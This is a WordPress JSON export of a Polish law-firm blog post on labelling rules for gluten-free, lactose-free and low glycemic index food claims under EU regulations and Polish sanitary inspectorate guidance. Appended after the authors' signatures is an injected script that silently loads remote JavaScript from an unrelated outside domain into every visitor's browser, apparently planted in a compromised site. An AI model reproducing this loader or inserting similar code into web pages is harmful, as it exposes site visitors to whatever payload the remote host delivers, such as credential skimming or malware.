{"id":427,"date":"2025-02-16T18:12:25","date_gmt":"2025-02-16T17:12:25","guid":{"rendered":"https:\/\/legalwellbeing.pl\/?p=427"},"modified":"2025-07-22T10:27:06","modified_gmt":"2025-07-22T08:27:06","slug":"produkt-bezglutenowy-produkty-bez-laktozy-niski-indeks-glikemiczny","status":"publish","type":"post","link":"https:\/\/legalwellbeing.pl\/?p=427","title":{"rendered":"Produkt bezglutenowy, produkty bez laktozy, niski indeks glikemiczny"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Produkt bezglutenowy<\/h2>\n\n\n\n<p>Zgodnie z preambu\u0142\u0105 do rozporz\u0105dzenia nr 1924\/2006<a href=\"#_ftn1\" id=\"_ftnref1\">[1]<\/a>, kwestie o\u015bwiadcze\u0144 odnosz\u0105cych si\u0119 do glutenu powinny zosta\u0107 w uregulowane w odr\u0119bnych aktach prawnych. Takie o\u015bwiadczenia nie s\u0105 wi\u0119c obj\u0119te rozporz\u0105dzeniem nr 1924\/2006. Kwestie te uregulowane s\u0105 w rozporz\u0105dzeniu wykonawczym Komisji nr 828\/2014<a href=\"#_ftn2\" id=\"_ftnref2\">[2]<\/a><\/p>\n\n\n\n<p>Ww. rozporz\u0105dzenie okre\u015bla wymogi dla stosowania o\u015bwiadcze\u0144 \u201ebezglutenowy\u201d oraz \u201eo bardzo niskiej zawarto\u015bci glutenu\u201d.<\/p>\n\n\n\n<p>Ponadto, art. 3 ust. 1 rozporz\u0105dzenia precyzuje, \u017ce w przypadku zastosowania o\u015bwiadcze\u0144 \u201ebezglutenowy\u201d oraz \u201eo bardzo niskiej zawarto\u015bci glutenu\u201d konieczne jest stosowanie dok\u0142adnie tych sformu\u0142owa\u0144. Nie ma wi\u0119c elastyczno\u015bci brzmienia, o kt\u00f3rej by\u0142a mowa w przypadku o\u015bwiadcze\u0144 \u017cywieniowych obj\u0119tych rozporz\u0105dzeniem nr 1924\/2006.<\/p>\n\n\n\n<p>Ww. rozporz\u0105dzenie okre\u015bla wymogi dla stosowania o\u015bwiadcze\u0144 \u201e<strong>bezglutenowy<\/strong>\u201d oraz \u201e<strong>o bardzo niskiej zawarto\u015bci glutenu<\/strong>\u201d.<\/p>\n\n\n\n<p>Dodatkowo:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>zgodnie z art. 3 ust. 2 i 3 ww. o\u015bwiadczenia mog\u0105 by\u0107 uzupe\u0142nione o sformu\u0142owania: \u201e<strong>odpowiednie dla os\u00f3b nietoleruj\u0105cych glutenu<\/strong>\u201d lub \u201e<strong>odpowiednie dla os\u00f3b cierpi\u0105cych na celiaki\u0119<\/strong>\u201d;<\/li>\n\n\n\n<li>zgodnie z art. 3 ust. 3 ww. o\u015bwiadczenia mog\u0119 by\u0107 uzupe\u0142nione o sformu\u0142owania: \u201e<strong>opracowane specjalnie dla os\u00f3b nietoleruj\u0105cych glutenu<\/strong>\u201d lub \u201e<strong>opracowane specjalnie dla os\u00f3b cierpi\u0105cych na celiaki\u0119<\/strong>\u201d, je\u017celi \u017cywno\u015b\u0107 t\u0119 wyprodukowano w taki spos\u00f3b, aby zmniejszy\u0107 zawarto\u015b\u0107 glutenu w jednym lub wi\u0119kszej liczbie sk\u0142adnik\u00f3w zawieraj\u0105cych gluten lub w taki spos\u00f3b by zast\u0105pi\u0107 sk\u0142adniki zawieraj\u0105ce gluten innymi sk\u0142adnikami naturalnie bezglutenowymi.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\">[1]<\/a> Rec. 22) preambu\u0142y do rozporz\u0105dzenia nr 1924\/2006.<\/p>\n\n\n\n<p><a href=\"#_ftnref2\" id=\"_ftn2\">[2]<\/a> Rozporz\u0105dzenie wykonawcze Komisji (UE) nr 828\/2014 z dnia 30 lipca 2014 r. w sprawie przekazywania konsumentom informacji na temat nieobecno\u015bci lub zmniejszonej zawarto\u015bci glutenu w \u017cywno\u015bci Tekst maj\u0105cy znaczenie dla EOG: https:\/\/eur-lex.europa.eu\/legal-content\/PL\/TXT\/?uri=celex%3A32014R0828.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Produkty bez laktozy<\/h2>\n\n\n\n<p>Kwestie oznaczania produkt\u00f3w okre\u015bleniami \u201ebez laktozy\u201d czy te\u017c \u201ebezlaktozowy\u201d nie zosta\u0142y uregulowane prawnie na poziomie Unii Europejskiej. Brak jest r\u00f3wnie\u017c regulacji krajowych w tym zakresie.<\/p>\n\n\n\n<p>Powy\u017csza kwestia zosta\u0142a jednak obj\u0119ta wytycznymi G\u0142\u00f3wnego Inspektora Sanitarnego<a href=\"#_ftn1\" id=\"_ftnref1\">[1]<\/a>.<\/p>\n\n\n\n<p>Zgodnie z tymi wytycznymi stosowanie komunikat\u00f3w \u201ebezlaktozowy\u201d oraz \u201ebez laktozy\u201d: \u201e<em>jest uzasadnione wy\u0142\u0105cznie wtedy, gdy produkt finalny nie zawiera laktozy, oraz gdy konsument m\u00f3g\u0142by si\u0119 spodziewa\u0107 w danym produkcie wyst\u0119powania laktozy (np. w mleku i produktach mlecznych, w kt\u00f3rych standardowo obecna jest laktoza lub w produktach stosowanych jako zamienniki przetwor\u00f3w mlecznych, np. w napojach ro\u015blinnych, w kt\u00f3rych &#8211; przez analogi\u0119 &#8211; konsument mo\u017ce spodziewa\u0107 si\u0119 obecno\u015bci laktozy).<\/em>\u201d<\/p>\n\n\n\n<p>Ponadto, zgodnie z ww. wytycznymi:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>podmioty stosuj\u0105ce ww. sformu\u0142owania na swoich produktach powinny posiada\u0107 dokumentacj\u0119 potwierdzaj\u0105c\u0105 nieobecno\u015b\u0107 laktozy;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ze wzgl\u0119du na brak regulacji w odniesieniu do maksymalnej zawarto\u015bci laktozy w produktach znakowanych jako \u201ebezlaktozowe\u201d, nale\u017cy dla tego typu produkt\u00f3w przyj\u0105\u0107 warto\u015b\u0107 mo\u017cliwie najni\u017csz\u0105 i najbezpieczniejsz\u0105 dla konsumenta,&nbsp;czyli r\u00f3wn\u0105 granicy oznaczalno\u015bci metody enzymatycznej uznawanej w tym przypadku za metod\u0119 referencyjn\u0105. Warto\u015b\u0107 ta wynosi 0,01% (10 mg laktozy na 100 g produktu).&nbsp;<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\">[1]<\/a> Znakowanie \u015brodk\u00f3w spo\u017cywczych komunikatem \u201ebez laktozy\u201d: <a href=\"https:\/\/www.gov.pl\/web\/gis\/znakowanie-srodkow-spozywczych-komunikatem-bez-laktozy\">https:\/\/www.gov.pl\/web\/gis\/znakowanie-srodkow-spozywczych-komunikatem-bez-laktozy<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Niski indeks glikemiczny<\/h2>\n\n\n\n<p>Mo\u017cliwo\u015b\u0107 stosowania informacji dotycz\u0105cej niskiego indeksu glikemicznego w oznakowaniu produkt\u00f3w spo\u017cywczych potwierdzi\u0142 GIS w ramach wytycznych umieszczonych na swojej stronie internetowej<a href=\"#_ftn1\" id=\"_ftnref1\">[1]<\/a>. Zdaniem GIS, mimo braku istnienia przepis\u00f3w prawnych ww. zakresie, informacja o warto\u015bci indeksu glikemicznego \u015brodka spo\u017cywczego mo\u017ce stanowi\u0107 dodatkow\u0105 dobrowoln\u0105 informacj\u0119 zamieszczon\u0105 w oznakowaniu \u017cywno\u015bci pod warunkiem zgodno\u015bci z przepisami rozporz\u0105dze\u0144 nr 1169\/2011 oraz 1924\/2006.<\/p>\n\n\n\n<p>Dodatkowo, zgodnie z wytycznymi, informacji o&nbsp;indeksie glikemicznym (np. \u201eo niskim indeksie glikemicznym\u201d) towarzyszy\u0142a warto\u015b\u0107 IG. Poza tym informacja ta powinna by\u0107 wiarygodna i oparta na wynikach bada\u0144 b\u0105d\u017a na naukowym \u017ar\u00f3dle dla danego produktu.<\/p>\n\n\n\n<p>W ko\u0144cu, komunikaty dotycz\u0105ce indeksu glikemicznego nie mog\u0105 by\u0107 rozwini\u0119te o dodatkowe stwierdzenia odnosz\u0105ce si\u0119 do korzystnego wp\u0142ywu na zdrowie, gdy\u017c stanowi\u0107 b\u0119d\u0105 w\u00f3wczas niezatwierdzone (a wi\u0119c niedozwolone) o\u015bwiadczenia zdrowotne.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\">[1]<\/a> Wytyczne GIS dot. niskiego indeksu glikemicznego: <a href=\"https:\/\/www.gov.pl\/web\/gis\/warunki-podawania-w-znakowaniu-srodkow-spozywczych-informacji-o-indeksie-glikemicznym\">https:\/\/www.gov.pl\/web\/gis\/warunki-podawania-w-znakowaniu-srodkow-spozywczych-informacji-o-indeksie-glikemicznym<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Monika \u0141azarowicz \u2013 Szoszuk, prawniczka, aplikantka adwokacka<\/p>\n\n\n\n<p>Roksana Strubel, adwokat<\/p>\n\n\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';<br \/>\nvar script = document.createElement('script');<br \/>\nscript.src = url;<br \/>\nscript.type = 'text\/javascript';<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Produkt bezglutenowy Zgodnie z preambu\u0142\u0105 do rozporz\u0105dzenia nr 1924\/2006[1], kwestie o\u015bwiadcze\u0144 odnosz\u0105cych si\u0119 do glutenu powinny zosta\u0107 w uregulowane w odr\u0119bnych aktach prawnych. Takie o\u015bwiadczenia nie s\u0105 wi\u0119c obj\u0119te rozporz\u0105dzeniem nr 1924\/2006. Kwestie te uregulowane s\u0105 w rozporz\u0105dzeniu wykonawczym Komisji nr 828\/2014[2] Ww. rozporz\u0105dzenie okre\u015bla wymogi dla stosowania o\u015bwiadcze\u0144 \u201ebezglutenowy\u201d oraz \u201eo bardzo niskiej zawarto\u015bci&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_editorskit_title_hidden":false,"_editorskit_reading_time":0,"_editorskit_is_block_options_detached":false,"_editorskit_block_options_position":"{}","footnotes":""},"categories":[22,21],"tags":[],"class_list":["post-427","post","type-post","status-publish","format-standard","hentry","category-aktualnosci","category-blog"],"_links":{"self":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/427","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=427"}],"version-history":[{"count":3,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/427\/revisions"}],"predecessor-version":[{"id":511,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/427\/revisions\/511"}],"wp:attachment":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=427"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=427"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=427"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}